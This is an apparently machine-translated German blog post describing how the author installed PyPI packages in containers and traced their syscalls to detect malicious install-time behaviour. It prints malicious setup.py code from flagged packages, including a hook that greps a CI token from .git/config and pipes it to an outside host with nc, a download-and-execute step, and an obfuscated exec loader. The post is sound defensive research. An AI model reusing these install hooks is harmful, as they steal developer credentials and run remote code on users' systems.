Die Realität ist, dass Paketmanager wie PyPI eine kritische Infrastruktur sind, die fast jedes Unternehmen nutzt. Ich könnte viel zu diesem Thema schreiben, aber diese Version von xkcd wird vorerst ausreichen.

Dieser Wissensbereich ist für mich interessant, daher antwortete ich mit meinen Gedanken darüber, wie wir uns der Lösung des Problems nähern können. Der gesamte Beitrag ist lesenswert, aber ein Gedanke hat mich nicht allein gelassen: Was passiert unmittelbar nach der Installation des Pakets?
Aktionen wie das Herstellen von Netzwerkverbindungen oder das Ausführen von Befehlen während eines Prozesses
pip install
sollten immer mit Vorsicht ausgeführt werden, da sie dem Entwickler fast keine Möglichkeit geben, den Code zu überprüfen, bevor etwas Schlimmes passiert.
Ich wollte mich eingehender mit dieser Angelegenheit befassen. In diesem Beitrag werde ich erklären, wie ich jedes PyPI-Paket installiert und analysiert habe, um nach böswilligen Aktivitäten zu suchen.
So finden Sie schädliche Bibliotheken
Autoren fügen
setup.py
ihrer Paketdatei normalerweise Code hinzu, um während der Installation beliebige Befehle auszuführen . Beispiele finden Sie in diesem Repository .
Um potenziell schädliche Abhängigkeiten zu finden, können wir auf hoher Ebene zwei Dinge tun: den Code auf schlechte Dinge untersuchen (statische Analyse) oder ein Risiko eingehen und sie einfach installieren, um zu sehen, was passiert (dynamische Analyse).
Obwohl die statische Analyse sehr interessant ist (dank der Tatsache, dass
grep
ich selbst in npm schädliche Pakete gefunden habe ), werde ich in diesem Beitrag die dynamische Analyse behandeln. Am Ende finde ich es zuverlässiger, weil wir beobachten, was wirklich passiert , und nicht nur nach unangenehmen Dingen suchen, die passieren können.
Also, wonach suchen wir?
Wie wichtig Aktionen ausgeführt werden
Wenn etwas Wichtiges passiert, wird der Prozess im Allgemeinen vom Kernel ausgeführt. Regelmäßige Programme (zum Beispiel
pip
), die wichtige Dinge über den Kernel erledigen möchten, verwenden Syscalls . Dateien öffnen, Netzwerkverbindungen herstellen, Befehle ausführen - all dies erfolgt über Systemaufrufe!
Mehr dazu erfahren Sie im Julia Evans- Comic :
Dies bedeutet, dass wir verstehen können, wenn etwas Verdächtiges passiert, wenn wir die Systemaufrufe während der Installation des Python-Pakets beobachten können. Der Vorteil dieses Ansatzes besteht darin, dass er nicht vom Grad der Codeverschleierung abhängt - wir sehen genau, was tatsächlich passiert.
Es ist wichtig anzumerken, dass ich nicht auf die Idee gekommen bin, Syscalls zu sehen. Leute wie Adam Baldwin sprechen seit 2017 darüber . Darüber hinaus gibt es einen großartigen Artikel des Georgia Institute of Technology, der unter anderem den gleichen Ansatz verfolgt. Ehrlich gesagt werde ich in diesem Beitrag nur versuchen, ihre Arbeit zu reproduzieren.
Wir wissen also, dass wir Systemaufrufe verfolgen möchten, aber wie genau machen wir das?
Syscalls mit Sysdig verfolgen
Es gibt viele Tools zur Überwachung von Systemaufrufen. Für mein Projekt habe ich sysdig verwendet, da es sowohl strukturierte Ausgabe als auch praktische Filterfunktionen bietet.
Damit es funktioniert, habe ich beim Starten des Docker-Containers, der das Paket installiert, auch den sysdig-Prozess gestartet, der nur Ereignisse aus diesem Container überwacht. Ich habe auch Netzwerk-Lese- / Schreibvorgänge von / nach
pypi.org
oder herausgefiltert
files.pythonhosted.com
, weil ich die Protokolle nicht mit Datenverkehr im Zusammenhang mit Paketdownloads überladen wollte.
Nachdem ich einen Weg gefunden hatte, Syscalls abzufangen, musste ich ein anderes Problem lösen: eine Liste aller PyPI-Pakete abrufen.
Python-Pakete abrufen
Zum Glück hat PyPI eine API namens "Simple API", die auch als "sehr große HTML-Seite mit einem Link zu jedem Paket" angesehen werden kann, denn das ist es. Dies ist eine einfache, übersichtliche Seite, die in sehr hochwertigem HTML geschrieben ist.
Sie können diese Seite aufrufen und alle Links mit der Hilfe analysieren
pup
, nachdem Sie ungefähr 268.000 Pakete erhalten haben:
❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt
❯ wc -l pypi_full.txt
268038 pypi_full.txt
Für dieses Experiment werde ich mich nur für die neueste Version jedes Pakets interessieren. Es besteht die Möglichkeit, dass in älteren Versionen böswillige Versionen von Paketen vergraben sind, aber die AWS-Rechnungen zahlen sich nicht aus.
Infolgedessen hatte ich so etwas wie diese Verarbeitungspipeline:

Kurz gesagt, wir senden den Namen jedes Pakets an eine EC2-Instanzmenge (in Zukunft würde ich gerne etwas wie Fargate verwenden, aber ich kenne Fargate nicht, also ...), die die Paketmetadaten von PyPI abruft und dann sysdig ausführt. sowie eine Reihe von Containern für die Installation des Pakets
pip install
, während Informationen über Systemaufrufe und Netzwerkverkehr gesammelt werden. Dann werden alle Daten an S3 übertragen, damit ich sie bearbeiten kann.
So sieht der Prozess aus:

Ergebnisse
Nach Abschluss des Vorgangs habe ich ungefähr ein Terabyte Daten im S3-Bucket erhalten, die ungefähr 245.000 Pakete abdecken. Einige Pakete hatten keine veröffentlichten Versionen, andere hatten verschiedene Verarbeitungsfehler, aber insgesamt scheint dies ein großartiges Beispiel für die Arbeit zu sein.
Nun zum lustigen Teil: eine
Ich habe die Metadaten und die Ausgabe kombiniert, was zu einer Reihe von JSON-Dateien führte, die ungefähr so aussahen:
{
"metadata": {},
"output": {
"dns": [], // Any DNS requests made
"files": [], // All file access operations
"connections": [], // TCP connections established
"commands": [], // Any commands executed
}
}
Dann schrieb ich eine Reihe von Skripten, um mit dem Sammeln von Daten zu beginnen und herauszufinden, was harmlos und was schädlich ist. Lassen Sie uns einige der Ergebnisse untersuchen.
Netzwerkanforderungen
Es gibt viele Gründe, warum ein Paket während des Installationsvorgangs möglicherweise eine Netzwerkverbindung herstellen muss. Möglicherweise muss er Binärdateien oder andere Ressourcen herunterladen, es kann sich um eine Art Analyse handeln, oder er versucht, Daten oder Buchhaltungsinformationen aus dem System zu extrahieren.
Als Ergebnis stellte sich heraus, dass 460 Pakete Netzwerkverbindungen zu 109 eindeutigen Hosts herstellen. Wie in dem oben erwähnten Artikel erwähnt, werden einige von ihnen durch die Tatsache verursacht, dass Pakete eine gemeinsame Abhängigkeit haben, die eine Netzwerkverbindung herstellt. Sie können sie filtern, indem Sie Abhängigkeiten abgleichen, aber das habe ich noch nicht getan.
Eine detaillierte Aufschlüsselung der DNS-Lookups, die während der Installation beobachtet wurden, finden Sie hier .
Befehlsausführung
Wie bei Netzwerkverbindungen können Pakete harmlose Gründe haben, Systembefehle während der Installation auszuführen. Dies kann durchgeführt werden, um native Binärdateien zu kompilieren, die gewünschte Umgebung einzurichten usw.
Bei der Untersuchung unseres Beispiels stellte sich heraus, dass 60.725 Pakete während der Installation Befehle ausführen. Beachten Sie wie bei Netzwerkverbindungen, dass viele davon auf die Abhängigkeit von dem Paket zurückzuführen sind, das die Befehle ausführt.
Interessante Pakete
Nach Prüfung der Ergebnisse sahen die meisten Netzwerkverbindungen und Befehle erwartungsgemäß harmlos aus. Es gibt jedoch einige Fälle von seltsamem Verhalten, auf die ich hinweisen wollte, um die Nützlichkeit dieser Art von Analyse zu demonstrieren.
i-am-malicious
Das genannte Paket
i-am-malicious
scheint eine Konzeptprüfung für ein schädliches Paket zu sein. Hier sind einige interessante Details, die uns eine Vorstellung davon geben, dass dieses Paket eine Untersuchung wert ist (wenn sein Name für uns nicht ausreicht):
{
"dns": [{
"name": "gist.githubusercontent.com",
"addresses": [
"199.232.64.133"
]
}]
],
"files": [
...
{
"filename": "/tmp/malicious.py",
"flag": "O_RDONLY|O_CLOEXEC"
},
...
{
"filename": "/tmp/malicious-was-here",
"flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
},
...
],
"commands": [
"python /tmp/malicious.py"
]
}
Wir beginnen sofort zu verstehen, was hier passiert. Wir sehen die Verbindung zu
gist.github.com
, die Ausführung der Python-Datei und die Erstellung einer Datei mit dem Namen
/tmp/malicious-was-here
. Dies geschieht natürlich genau in
setup.py
:
from urllib.request import urlopen
handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
fp.write(handler.read())
import subprocess
subprocess.call(["python", "/tmp/malicious.py"])
Die Datei
malicious.py
fügt der
/tmp/malicious-was-here
Nachricht einfach "Ich war hier" hinzu , was darauf hindeutet, dass dies tatsächlich ein Proof-of-Concept ist.
maliciouspackage
Ein anderes selbsternanntes Malware-Paket mit genialem Namen
maliciouspackage
ist etwas bösartiger. Hier ist seine Ausgabe:
{
"dns": [{
"name": "laforge.xyz",
"addresses": [
"34.82.112.63"
]
}],
"files": [
{
"filename": "/app/.git/config",
"flag": "O_RDONLY"
},
],
"commands": [
"sh -c apt install -y socat",
"sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
"grep ci-token /app/.git/config",
"nc laforge.xyz 5566"
]
}
Wie im ersten Fall gibt uns dies eine gute Vorstellung davon, was los ist. In diesem Beispiel extrahiert das Paket das Token aus der Datei
.git/config
und lädt es in
laforge.xyz
. Wenn
setup.py
wir uns das ansehen, können wir genau sehen, was passiert:
...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
easyIoCtl
Das Paket ist neugierig
easyIoCtl
. Es wird behauptet, "eine Abstraktion von langweiligen E / A" bereitzustellen, aber wir sehen, dass die folgenden Befehle ausgeführt werden:
[
"sh -c touch /tmp/testing123",
"touch /tmp/testing123"
]
Verdächtig, aber nicht schädlich. Dies ist jedoch ein perfektes Beispiel für die Leistungsfähigkeit der Systemaufrufverfolgung. Hier ist der relevante Code im
setup.py
Projekt:
class MyInstall():
def run(self):
control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
control_flow_guard_init = ""
for controL_flow_code in control_flow_guard_mappers:
control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
exec(control_flow_guard_init)
Bei dieser Verschleierung ist es schwierig zu verstehen, was passiert. Herkömmliche statische Analysen könnten den Anruf verfolgen
exec
, aber das war es auch schon.
Um zu sehen , was los ist , können wir ersetzen
exec
mit
print
, bekommen dies:
import os;os.system('touch /tmp/testing123')
Es ist dieser Befehl, den wir verfolgt haben, und er zeigt, dass selbst das Verschleiern des Codes die Ergebnisse nicht beeinflusst, da wir ihn auf der Ebene der Systemaufrufe verfolgen.
Was passiert, wenn wir ein bösartiges Paket finden?
Es lohnt sich, kurz zu beschreiben, was wir tun können, wenn wir ein bösartiges Paket finden. Der erste Schritt besteht darin, PyPI-Freiwillige zu benachrichtigen, damit sie das Paket entfernen können. Sie können dies tun, indem Sie an security@python.org schreiben.
Sie können dann sehen, wie oft dieses Paket mithilfe des öffentlichen PyPI-Datasets auf BigQuery heruntergeladen wurde.
Hier ist eine Beispielabfrage, um herauszufinden, wie oft
maliciouspackage
in den letzten 30 Tagen heruntergeladen wurde:
#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
-- Only query the last 30 days of history
AND DATE(timestamp)
BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
AND CURRENT_DATE()
Das Ausführen dieser Abfrage zeigt, dass sie über 400 Mal heruntergeladen wurde:

Weitermachen
Bisher haben wir uns nur mit PyPI im Allgemeinen befasst. Wenn ich mir die Daten anschaue, kann ich keine Pakete finden, die sinnvoll böswillige Aktionen ausführen und deren Name nicht das Wort "bösartig" enthält. Und das ist gut! Aber es besteht immer die Möglichkeit, dass ich etwas verpasst habe oder dass es in Zukunft passieren wird. Wenn Sie neugierig auf die Daten sind, finden Sie sie hier .
Später werde ich eine Lambda-Funktion schreiben, um die neuesten Paketänderungen mithilfe des PyPI- RSS-Feeds zu erhalten . Jedes aktualisierte Paket wird derselben Verarbeitung unterzogen und sendet eine Benachrichtigung, wenn verdächtige Aktivitäten festgestellt werden.
Ich mag es immer noch nicht, dass es möglich ist, beliebige Befehle auf dem System des Benutzers auszuführen, indem man einfach das Paket über installiert
pip install
... Ich verstehe, dass die meisten Anwendungsfälle harmlos sind, aber es eröffnet Bedrohungsmöglichkeiten, die berücksichtigt werden müssen. Durch eine verstärkte Überwachung der verschiedenen Paketmanager können wir hoffentlich Anzeichen böswilliger Aktivitäten erkennen, bevor sie schwerwiegende Auswirkungen haben.
Und diese Situation betrifft nicht nur PyPI. Später hoffe ich, für RubyGems, npm und andere Manager dieselbe Analyse durchzuführen wie für die oben genannten Forscher. Der gesamte Code, der zum Ausführen des Experiments verwendet wurde, finden Sie hier . Wie immer, wenn Sie Fragen haben, stellen Sie sie !
Werbung
VDSina bietet virtuelle Server unter Linux und Windows an - wählen Sie eines der vorinstallierten Betriebssysteme aus oder installieren Sie es von Ihrem Image.
